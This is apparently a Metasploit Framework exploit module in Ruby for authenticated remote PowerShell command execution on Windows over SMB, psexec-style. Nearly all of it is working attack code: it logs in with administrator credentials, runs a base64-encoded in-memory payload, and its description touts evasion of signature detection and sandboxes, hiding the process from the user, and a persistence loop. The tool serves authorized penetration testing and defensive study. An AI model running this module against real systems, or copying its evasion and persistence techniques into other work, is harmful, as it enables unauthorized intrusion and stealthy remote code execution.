# -*- coding: binary -*-

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'
require 'msf/core/exploit/powershell'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ManualRanking

	# Exploit mixins should be called first
	include Msf::Exploit::Remote::SMB::Psexec
	include Msf::Exploit::Powershell

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Microsoft Windows Authenticated Powershell Command Execution',
			'Description'    => %q{
					This module uses a valid administrator username and password to execute a powershell
				payload using a similar technique to the "psexec" utility provided by SysInternals. The
				payload is encoded in base64 and executed from the commandline using the -encodedcommand
				flag. Using this method, the payload is never written to disk, and given that each payload
				is unique, is less prone to signature based detection. Since executing shellcode in .NET
				requires the use of system resources from unmanaged memory space, the .NET (PSH) architecture
				must match that of the payload. Lastly, a persist option is provided to execute the payload
				in a while loop in order to maintain a form of persistence. In the event of a sandbox
				observing PSH execution, a delay and other obfuscation may be added to avoid detection.
				In order to avoid interactive process notifications for the current user, the psh payload has
				been reduced in size and wrapped in a powershell invocation which hides the process entirely.
			},

			'Author'         => [
				'Royce @R3dy__ Davis <rdavis[at]accuvant.com>', # PSExec command module
				'RageLtMan <rageltman[at]sempervictus' # PSH exploit, libs, encoders
			],

			'License'        => MSF_LICENSE,
			'Privileged'     => true,
			'DefaultOptions' =>
				{
					'WfsDelay'     => 10,
					'EXITFUNC' => 'thread'
				},
			'Payload'        =>
				{
					'Space'        => 8192,
					'DisableNops'  => true,
					'StackAdjustment' => -3500
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Windows x86', { 'Arch' => ARCH_X86 } ],
					[ 'Windows x64', { 'Arch' => ARCH_X86_64 } ]
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Jan 01 1999',
			'References'     => [
				[ 'CVE', '1999-0504'], # Administrator with no password (since this is the default)
				[ 'OSVDB', '3106'],
				[ 'URL', 'http://www.accuvant.com/blog/2012/11/13/owning-computers-without-shell-access' ],
				[ 'URL', 'http://sourceforge.net/projects/smbexec/' ],
				[ 'URL', 'http://technet.microsoft.com/en-us/sysinternals/bb897553.aspx' ]
			]
		))
	end

	def exploit
		command = cmd_psh_payload(payload.encoded)

		if datastore['PERSIST'] and not datastore['DisablePayloadHandler']
			print_warning("You probably want to DisablePayloadHandler and use exploit/multi/handler with the PERSIST option.")
		end

		if datastore['RUN_WOW64'] and target_arch.first == "x86_64"
			fail_with(Exploit::Failure::BadConfig, "Select an x86 target and payload with RUN_WOW64 enabled")
		end

		# Try and authenticate with given credentials
		if connect
			begin
				smb_login
			rescue StandardError => autherror
				disconnect
				fail_with(Exploit::Failure::NoAccess, "#{peer} - Unable to authenticate with given credentials: #{autherror}")
			end
			# Execute the powershell command
			print_status("#{peer} - Executing the payload...")
			begin
				return psexec(command)
			rescue StandardError => exec_command_error
				disconnect
				fail_with(Exploit::Failure::Unknown, "#{peer} - Unable to execute specified command: #{exec_command_error}")
			end
		end
	end

	def peer
		return "#{rhost}:#{rport}"
	end
end

